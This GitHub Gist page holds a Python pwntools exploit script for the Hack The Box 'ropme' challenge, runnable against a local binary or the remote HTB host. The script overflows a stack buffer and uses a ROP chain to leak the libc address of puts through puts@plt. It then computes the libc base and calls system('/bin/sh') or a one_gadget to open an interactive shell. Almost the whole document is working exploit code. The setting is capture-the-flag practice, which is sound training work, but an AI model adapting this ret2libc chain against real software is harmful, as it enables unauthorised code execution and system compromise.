Last active
April 16, 2022 06:56
-
-
Save safiire/f5ff02e02d952d69d45cbaadb7a28675 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
context(arch='amd64', log_level='info') | |
if len(sys.argv) >= 2: | |
use_one_gadget = True | |
libc_so_filename = './libc-2.23.so' | |
print("Using libc %s" % libc_so_filename) | |
p = remote('docker.hackthebox.eu', 35298) | |
else: | |
use_one_gadget = False | |
libc_so_filename = '/lib/x86_64-linux-gnu/libc.so.6' | |
p = process('./ropme') | |
# Static Addresses | |
puts_reloc = 0x00601019 | |
gadget_pop_rdi = 0x004006d3 | |
gadget_puts_plt = 0x004004e0 | |
gadget_main_again = 0x00400626 | |
overflow = flat('A' * 0x40, ["\xbb"]*8) | |
# Static Offsets | |
target_libc = ELF(libc_so_filename) | |
libc_puts_offset = target_libc.symbols.puts | |
libc_system_offset = target_libc.symbols.system | |
one_gadget_offset = 0x00045216 | |
for address in target_libc.search('/bin/sh'): | |
libc_bin_sh_offset = address | |
# Calls puts@plt to leak memory, and then recalls main() | |
def call_puts(address): | |
p.recvline() | |
p.info("Calling puts@plt(0x%x)", address) | |
payload = flat([overflow, gadget_pop_rdi, address, gadget_puts_plt, gadget_main_again]) | |
p.sendline(payload) | |
return p.recvline(keepends=False) | |
def call_system(system, bin_sh): | |
p.recvline(timeout=1.0) | |
p.info("Calling system@libc(0x%x)", bin_sh) | |
payload = flat([overflow, gadget_pop_rdi, bin_sh, system]) | |
p.sendline(payload) | |
sleep(0.5) | |
p.sendline('id') | |
try: | |
print(p.recvline(timeout=0.5)) | |
p.success("Pizza Time!") | |
p.interactive() | |
except EOFError: | |
p.failure("Failed") | |
def one_gadget(address): | |
p.recvline() | |
p.info("Calling one_gadget@libc(0x%x)", address) | |
payload = flat([overflow, address]) | |
p.sendline(payload) | |
sleep(0.5) | |
p.sendline('id') | |
try: | |
print(p.recvline(timeout=0.5)) | |
p.success("Pizza Time!") | |
p.interactive() | |
except EOFError: | |
p.failure("Failed") | |
# Unpack a bytestring into an integer | |
def unpack_string_address(bin_string): | |
return unpack(bin_string, 'all') | |
# Send the first stage payload to leak &puts@libc | |
p.info("Leaking puts@libc...") | |
leaked_libc_puts = unpack("\x00" + call_puts(puts_reloc), 'all') | |
p.success("Leaked address puts@libc: 0x%x", leaked_libc_puts) | |
# Basically if we use one_gadget we don't need to do anything else | |
if use_one_gadget: | |
# Try to deduce libc base on our own | |
page_size = 0x1000 | |
pages_away = 111 | |
puts_page = (leaked_libc_puts & 0xfffffffffffff000) | |
libc_base = puts_page - (page_size * pages_away) | |
gadget = libc_base + one_gadget_offset | |
one_gadget(gadget) | |
exit() | |
# Use the offsets and leak to calculate addresses | |
p.info("Calculating system(/bin/sh) addresses...") | |
libc_base = leaked_libc_puts - libc_puts_offset | |
libc_system = libc_base + libc_system_offset | |
libc_bin_sh = libc_base + libc_bin_sh_offset | |
p.info("---------------------------") | |
p.success("Libc puts offset is 0x%x", libc_puts_offset) | |
p.success("Libc system offset is 0x%x", libc_system_offset) | |
p.success("Libc /bin/sh offset is 0x%x", libc_bin_sh_offset) | |
p.info("---------------------------") | |
p.success("Libc base is 0x%x", libc_base) | |
p.success("Libc system is 0x%x", libc_system) | |
p.success("Libc /bin/sh is 0x%x", libc_bin_sh) | |
p.info("---------------------------") | |
p.info("Getting a shell...") | |
call_system(libc_system, libc_bin_sh) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment